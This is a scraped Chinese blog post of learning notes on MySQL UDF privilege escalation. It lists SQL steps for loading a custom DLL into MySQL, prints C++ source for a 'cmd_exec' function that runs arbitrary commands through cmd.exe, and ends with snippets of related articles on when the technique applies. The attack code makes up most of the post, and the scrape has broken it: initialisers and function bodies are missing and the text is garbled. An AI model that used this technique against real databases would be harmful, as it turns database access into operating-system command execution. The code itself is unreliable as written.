UDF提權 mysql外掛程式學習筆記

2021-09-19 15:10:33 字數 2080 閱讀 9400

以前看過一篇老外的文章講mysql udf提權原理,這篇文章中針對kali自帶的mysql 提權udf.dll進行了解釋,但是並沒有介紹如何編寫乙個標準的udf擴充套件。

後來有個朋友託我幫他改下udf.dll,把其他功能去掉,只留下cmd_shell這個命令執行的功能

開始我以為隨便寫個dll,然後匯出個函式,就可以用mysql載入並呼叫了。

具體開發步驟,可以參考官方文件:

比如我要實現的函式名叫cmd_exec,必須也要宣告乙個cmd_exec_init的函式才行,這個函式是要做乙個初始化工作,申請記憶體什麼的。

檢視mysql的擴充套件路徑,得到mysql的擴充套件路徑後,把編譯好的擴充套件dll放進去

select @@plugin_dir()
然後在mysql中匯入擴充套件dll中的函式

create function cmd_exec returns string soname 'test.dll';
使用擴充套件函式

select cmd_exec("calc.exe");
刪除擴充套件函式

drop function cmd_exec;
下面是我寫的cmd_exec 擴充套件dll原始碼

#include "stdafx.h"

#include "windows.h"

#include #include "./include/mysql.h"

extern "c" __declspec(dllexport) my_bool cmd_exec_init()

extern "c" __declspec(dllexport) char* cmd_exec(udf_init *initid, udf_args *args, char *result, unsigned long *length, char *is_null, char *error)

// create child process:

process_information pinfo = ;

startupinfoa stinfo = ;

stinfo.cb = sizeof(startupinfo);

stinfo.dwflags = startf_useshowwindow | startf_usestdhandles;

stinfo.hstdoutput = hwritepipe;

stinfo.hstderror = hwritepipe;

// get

char cmd_buf[4096] = ;

sprintf(cmd_buf,"/c %s", args->attributes[0], args->attribute_lengths[0]);

if (!createprocessa("c:\\windows\\system32\\cmd.exe", cmd_buf, null, null, true, 0, null, null, &stinfo, &pinfo))

closehandle(hwritepipe);

// command buffer

char lpbuffer[4096];

dword lpbytesread = 0;

while (peeknamedpipe(hreadpipe, lpbuffer, 4096, &lpbytesread, null, null)) }

waitforsingleobject(pinfo.hprocess, infinite);

closehandle(hreadpipe);

return "nothing!!!";

}bool apientry dllmain(hmodule hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

) return true;

}

MySQL擴充套件介面UDF提權

1.udf介紹 udf user defined function 是mysql的乙個拓展介面,也稱為自定義函式。2.udf提權條件 1 目標系統是windows win2000,xp,win2003 2 可以將udf.dll寫入到相應目錄的許可權。如果 mysql版本大於5.1版本,udf.dll...

linux下 udf提權 mysql udf提權

前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...

udf提權的適用環境

自己只遇到過windows mysql,所以一直以為只適用這個環境 多虧有人提醒,才發現udf提權並不限於此環境,而是同時適用於windows和linux環境,且支援mysql和postgresql 很久沒有進行提取,都忘記udf的含義了。複習下 user defined function udf提...